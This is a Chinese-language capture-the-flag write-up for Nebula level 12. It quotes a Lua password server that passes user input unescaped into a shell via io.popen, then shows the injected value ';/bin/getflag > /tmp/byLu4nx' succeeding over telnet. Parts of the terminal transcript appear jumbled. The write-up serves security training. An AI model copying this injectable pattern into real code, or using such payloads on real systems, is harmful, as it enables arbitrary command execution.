这关是一个Lua脚本写的socket程序,代码如下:
local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 50001))
function hash(password)
prog = io.popen("echo "..password.." | sha1sum", "r")
data = prog:read("*all")
prog:close()
data = string.sub(data, 1, 40)
return data
end
while 1 do
local client = server:accept()
client:send("Password: ")
client:settimeout(60)
local line, err = client:receive()
if not err then
print("trying " .. line) -- log from where ;\
local h = hash(line)
if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then
client:send("Better luck next time\n");
else
client:send("Congrats, your token is 413**CARRIER LOST**\n")
end
end
client:close()
end
这段通过socket建立连接,要求用户输入密码,然后将密码加密后与密文4754a4f4bd5787accd33de887b9250a0691dd198
进行对比。但是,我们是不知道4754a4f4bd5787accd33de887b9250a0691dd198
的明文是什么,这里并不是考我们破解Hash,当然如果你能直接解出这个Hash值,也是一种通关捷径。
注意这句代码:
local line, err = client:receive()
它客户端里接受输入的密码,然后调用local h = hash(line),hash函数是脚本里定义的,关键是,hash函数里加密方式是通过调用shell命令程序(下面代码中红色部分是危险函数)来完成的(实际项目中很少出现用这种方式加密的)。这里便又出现可执行任意文件漏洞了:
prog = io.popen("echo "..password.." | sha1sum", "r")
用level12登录系统,然后telnet 127.0.0.1 50001 ,这时要求输入密码,我还是通过“;”来分割多个命令,输入;/bin/getflag > /tmp/byLu4nx。整个过程如下:
level12@nebula:~$ cd /home/flag12
level12@nebula:/home/flag12$ ls
flag12.lua
level12@nebula:/home/flag12$ lua flag12.lua
local line, err = client:receive()p #看来我们不用执行flag12.lua
stack traceback:
[C]: in function 'assert'
flag12.lua:2: in main chunk
[C]: ?
level12@nebula:/home/flag12$ telnet 127.0.0.1 50001
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
Password: ;/bin/getflag > /tmp/byLu4nx
Better luck next time
Connection closed by foreign host.
level12@nebula:/home/flag12$ cat /tmp/byLu4nx
You have successfully executed getflag on a target account lua: flag12.lua:2: address already in use